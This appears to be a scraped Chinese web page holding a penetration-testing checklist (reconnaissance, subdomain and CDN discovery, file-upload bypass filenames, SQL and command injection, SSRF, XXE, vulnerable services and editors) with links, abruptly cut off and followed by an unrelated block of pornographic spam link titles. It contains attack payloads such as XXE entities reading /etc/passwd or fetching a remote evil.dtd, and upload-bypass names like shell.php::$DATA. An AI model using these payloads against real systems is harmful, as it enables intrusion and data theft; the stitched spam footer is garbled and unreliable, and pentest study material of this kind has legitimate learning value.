          XSS攻擊實(shí)例 -------基本思路:我們都知道網(wǎng)上很多網(wǎng)站都可以“記住你的用戶名和密碼”或是“自動(dòng)登錄”,其實(shí)是在你的本地設(shè)置了一個(gè)cookie,這種方式可以讓你免去每次都輸入用戶名和口令的痛苦,但是也帶來很大的問題。試想,如果某用戶在“自動(dòng)登錄”的狀態(tài)下,如果你運(yùn)行了一個(gè)程序,這個(gè)程序訪問“自動(dòng)登錄”這個(gè)網(wǎng)站上一些鏈接、提交一些表單,那么,也就意味著這些程序不需要輸入用戶名和口令的手動(dòng)交互就可以和服務(wù)器上的程序通話。

          Web安全測(cè)試之XSS

          Web API 入門指南 - 閑話安全

          中間人攻擊(MITM)姿勢(shì)總結(jié)

          淺談WEB安全性(前端向)

          透測(cè)試

          這里包含了我的大部分滲透測(cè)試經(jīng)驗(yàn)與知識(shí)的積累。從一個(gè)攻擊者的角度總結(jié)了一些滲透測(cè)試的知識(shí),供新手學(xué)習(xí)和規(guī)避這些安全問題保障自己的隱私安全。


          信息收集

          業(yè)務(wù)相關(guān)

          github泄漏

          網(wǎng)盤泄漏

          敏感路徑掃描

          · https://github.com/ring04h/dirfuzz

          QQ群文件泄漏

          域名相關(guān)

          域名商

          · 找域名商漏洞,越權(quán)影響目標(biāo)域名

          · 欺騙域名商客服,影響目標(biāo)域名

          · 社工賬號(hào),篡改解析地址

          DNS

          · 滲透DNS服務(wù)器,和社工DNS服務(wù)商

          · DNS域傳送漏洞

          · 子域名接管漏洞

          CDN

          · 找真實(shí)IP地址

          ? censys.io 等網(wǎng)絡(luò)空間引擎查找關(guān)鍵字

          ? SSRF漏洞

          ? 查找域名歷史解析IP

          ? https://securitytrails.com/

          ? site.ip138.com

          ? 服務(wù)器信息泄露

          ? 探測(cè)子域名IP

          ? cloudflare(HatCloud)

          ? 看郵件發(fā)送者源IP

          ? APP客戶端

          ? DOS CDN可能會(huì)成回源模式

          · 破解CDN服務(wù)賬號(hào)

          WHOIS

          · 注冊(cè)者郵箱

          ? 反查其他域名

          · 手機(jī)號(hào)

          · 地址

          · 注冊(cè)者名稱

          · DNS

          子域名

          · 搜索引擎

          ? fofa、傻蛋、諦聽、zoomeye、censys

          ? Google、bing、baidu、duckduckgo

          ? 接口聚合:https://github.com/bit4woo/teemo

          · 暴力破解

          ? layer

          ? wydomain

          · 網(wǎng)頁(yè)爬蟲

          ? 基于JS的域名探測(cè)https://github.com/nsonaniya2010/SubDomainizer

          · DNS查找

          ? dnsdumpster.com

          ? www.virustotal.com

          服務(wù)器主機(jī)

          端口

          · nmap

          · Zenmap

          系統(tǒng)識(shí)別

          · nmap -O

          · 大小寫敏感

          · TTL

          · banner

          · 信息泄露

          · 特殊端口 如(22 / 139 / 445 / 1433 / 3389)

          · HOSTNAME

          相關(guān)資產(chǎn)

          · 同服網(wǎng)站

          ? https://dns.aizhan.com

          · 備案反查

          C段業(yè)務(wù)

          · 可能會(huì)有其他相關(guān)業(yè)務(wù),如交換機(jī)、機(jī)房后臺(tái)、監(jiān)控系統(tǒng)等

          指紋識(shí)別

          · 特有文件MD5

          · 包含字符

          · cookie

          · 響應(yīng)頭

          弱點(diǎn)檢測(cè)

          常見漏洞

          文件操作

          · 文件上傳

          ? 字典生成 https://github.com/c0ny1/upload-fuzz-dic-builder

          ? %00截?cái)?/p>

          ? 畸形文件名

          ? Windows

          ? shell.php{%80-%99}

          ? NTFS ADS特性

          ? shell.php......

          ? shell.php::$DATA

          ? shell.php:a.jpg

          ? 目錄穿越

          ? 文件頭繞過

          ? 修改上傳類型 Content-Type

          ? 雙文件上傳

          ? 超長(zhǎng)截?cái)?/p>

          ? 長(zhǎng)文件名

          ? 長(zhǎng)Content-Disposition

          ? 特殊文件

          ? 上傳html、htm 可以 XSS

          ? swf 可以XSS

          ? pdf 在 chrome 里可以做跳轉(zhuǎn)

          ? cer、asa、jspx、php5、phtml等可能會(huì)被當(dāng)做動(dòng)態(tài)語(yǔ)言解析

          ? .htaccess .user.ini web.config web.xml 等

          ? 無大小和次數(shù)限制

          ? 無限上傳制造垃圾數(shù)據(jù)堵死硬盤

          ? imagemagick命令執(zhí)行

          · 文件讀取

          ? 讀取系統(tǒng)敏感文件 如配置文件

          · 文件包含

          ? 可讀取文件或代碼執(zhí)行

          · 文件刪除

          ? 刪除配置文件可破壞網(wǎng)站

          ? 刪除安裝鎖可重裝

          CSRF

          · 自動(dòng)檢測(cè) https://github.com/BlackHole1/autoFindXssAndCsrf

          · FLASH CSRF

          ? http://blog.knownsec.com/2013/03/%E7%A7%91%E6%99%AE%E4%BD%8E%E8%B0%83%E7%9A%84flash-csrf%E6%94%BB%E5%87%BB/

          ? https://www.cnblogs.com/fdsajhg30000/archive/2011/02/14/1953966.html

          ? http://www.vuln.cn/7134

          XSS

          · 普通反射/持久/DOM型

          · UXSS

          · XSS 蠕蟲

          · rootkit xss

          · Flash Xss

          ? https://www.secpulse.com/archives/44299.html

          · 其他文檔

          ? Web前后端漏洞分析與防御 https://github.com/TYRMars/WebSafe-StepPitGuide

          ? 腦圖

          ? https://github.com/phith0n/Mind-Map/blob/master/xss%20virus%201.0.png

          ? https://github.com/phith0n/Mind-Map/blob/master/XSS2.png

          ? https://github.com/phith0n/Mind-Map/blob/master/XSS%E8%84%91%E5%9B%BE.png

          · CRLF注入在響應(yīng)頭會(huì)導(dǎo)致XSS

          SQL注入

          · ORACLE

          ? 執(zhí)行java代碼

          ? https://www.cnblogs.com/rebeyond/p/7928887.html

          ? https://www.cnblogs.com/pshell/articles/7473713.html

          · MYSQL

          ? load_file() 文件讀取函數(shù)

          ? outfile 寫文件

          ? MOF / UDF 提權(quán)

          ? general_log_file 寫文件

          · SQL Server

          ? xp_cmdsell

          ? https://www.jianshu.com/p/027636ef4640

          ? wscript.shell

          ? https://www.cnblogs.com/xred/archive/2011/12/31/2308724.html

          ? 沙盒模式

          ? https://blog.csdn.net/sircoding/article/details/78683192

          ? 存儲(chǔ)過程寫文件

          ? xp_dirtree

          ? https://blog.csdn.net/kj021320/article/details/1736964

          ? sp_oamethod

          ? https://www.0dayhack.com/post-678.html

          代碼執(zhí)行/命令執(zhí)行

          · 命令執(zhí)行

          ? & / && / | / | | / ;

          ? 系統(tǒng)變量 ${xx} and %xx%

          · 代碼執(zhí)行

          ? 表達(dá)式

          ? freemarker

          ? OGNL

          ? Spel

          ? jsel

          ? 非表達(dá)式

          ? php

          ? eval

          ? assert

          ? call_user_func() / call_user_func_array()

          ? preg_replace()

          ? create_function()

          ? array_map()

          ? array_filter()

          ? usort() / uasort()

          ? 反序列化

          ? php 源文件拼接寫入

          ? java

          ? 反序列化

          ? 遠(yuǎn)程 jar 加載

          ? 反射機(jī)制

          ? jsp 源文件拼接寫入

          SSRF

          · 利用姿勢(shì)

          ? http/s協(xié)議

          ? 獲取真實(shí)IP

          ? 內(nèi)網(wǎng)主機(jī) / 端口探測(cè)

          ? 攻擊redis、memcache等

          ? file協(xié)議

          ? 讀取文件

          ? gopher協(xié)議

          ? 同上

          · 繞過

          ? IP換成域名

          ? IP換成10進(jìn)制

          ? http://xxx.com@baidu.com

          ? 302 跳轉(zhuǎn)

          · 參考

          ? https://www.t00ls.net/articles-41070.html

          XXE

          · 利用姿勢(shì)

          ? 文件讀取

          ? <!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

          ? SSRF

          ? <!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>

          · 參考

          ? https://www.freebuf.com/articles/web/177979.html

          無惡意特征的漏洞

          · 整數(shù)溢出

          ? 數(shù)字超出限定大小則會(huì)為負(fù)數(shù)。如:在購(gòu)買商品時(shí)填寫超長(zhǎng)數(shù)字,造成溢出,最終乘以金額變?yōu)樨?fù)數(shù)

          · 并發(fā)修改數(shù)據(jù)(如提現(xiàn))

          · 網(wǎng)站重裝

          · 未授權(quán)訪問

          · 水平與垂直越權(quán)

          · JSONP劫持

          · 密碼重置

          · 點(diǎn)擊劫持

          編輯器漏洞

          · fckeditor

          ? https://www.cnblogs.com/bl8ck/p/9521448.html

          · ueditor

          ? .net

          ? getshell

          ? https://www.seebug.org/vuldb/ssvid-97499

          ? jsp

          ? 文件上傳

          ? https://www.secpulse.com/archives/11232.html

          ? ssrf

          ? https://paper.seebug.org/606/

          · ckfinder

          ? https://www.seebug.org/appdir/CKFinder

          ? https://www.secpulse.com/archives/26999.html

          · CKEditor

          ? https://www.seebug.org/vuldb/ssvid-60642

          · KindEditor

          ? https://www.anquanke.com/post/id/171422

          ? https://www.freebuf.com/articles/web/128076.html

          · ewebeditor

          ? https://www.cnblogs.com/milantgh/p/3601739.html

          ? https://www.0dayhack.com/post-426.html

          常見服務(wù)弱點(diǎn)

          21 / FTP

          · 匿名/暴力破解

          · 拒絕服務(wù)

          22 / SSH

          · 暴力破解

          23 / telnet

          · Winbox(CVE-2018-14847)

          ? https://github.com/BasuCert/WinboxPoC

          · 弱口令 / 暴力破解

          161 / snmp

          · 弱口令

          ? https://blog.csdn.net/archersaber39/article/details/78932252

          389 / ladp

          · 匿名訪問

          ? https://www.cnblogs.com/persuit/p/5706432.html

          · ladp注入

          ? http://www.4hou.com/technology/9090.html

          ? https://www.freebuf.com/articles/web/149059.html

          443 / ssl

          · openssl心臟出血

          ? https://paper.seebug.org/437/http://www.anquan.us/static/drops/papers-1381.htmlhttps://www.freebuf.com/sectool/33191.html

          445 / smb

          · win10拒絕服務(wù)

          · 永恒之藍(lán)RCE

          8


          主站蜘蛛池模板: 三上悠亚一区二区观看| 国产一区二区视频在线播放| 日韩好片一区二区在线看| 亚洲AV无码第一区二区三区| 日本福利一区二区| 国产精品高清一区二区三区| 北岛玲在线一区二区| 99久久人妻精品免费一区| 日本精品一区二区久久久| 成人毛片一区二区| 亚洲色无码专区一区| 亚洲国产激情在线一区| 无码国产精品一区二区免费3p | 精品久久久久中文字幕一区| 麻豆AV一区二区三区| 免费无码VA一区二区三区| 精品不卡一区二区| 国产香蕉一区二区三区在线视频| 一本久久精品一区二区| 欧洲精品免费一区二区三区| 无码精品人妻一区二区三区AV| 一区 二区 三区 中文字幕| 夜夜爽一区二区三区精品| 中文字幕日韩人妻不卡一区| 国产福利电影一区二区三区久久久久成人精品综合 | 国产婷婷色一区二区三区| 一区二区三区高清在线| 无码国产精品一区二区免费vr| 午夜福利一区二区三区高清视频 | 国产福利一区二区三区| 精品国产高清自在线一区二区三区| 无码丰满熟妇浪潮一区二区AV| 国产乱码一区二区三区爽爽爽| 性色A码一区二区三区天美传媒| 亚洲AV香蕉一区区二区三区| 日韩精品无码久久一区二区三| 亚洲一区二区三区不卡在线播放| 精品国产一区二区三区www| 国产AV一区二区三区无码野战 | 中文字幕日本精品一区二区三区| 亚洲日本va一区二区三区 |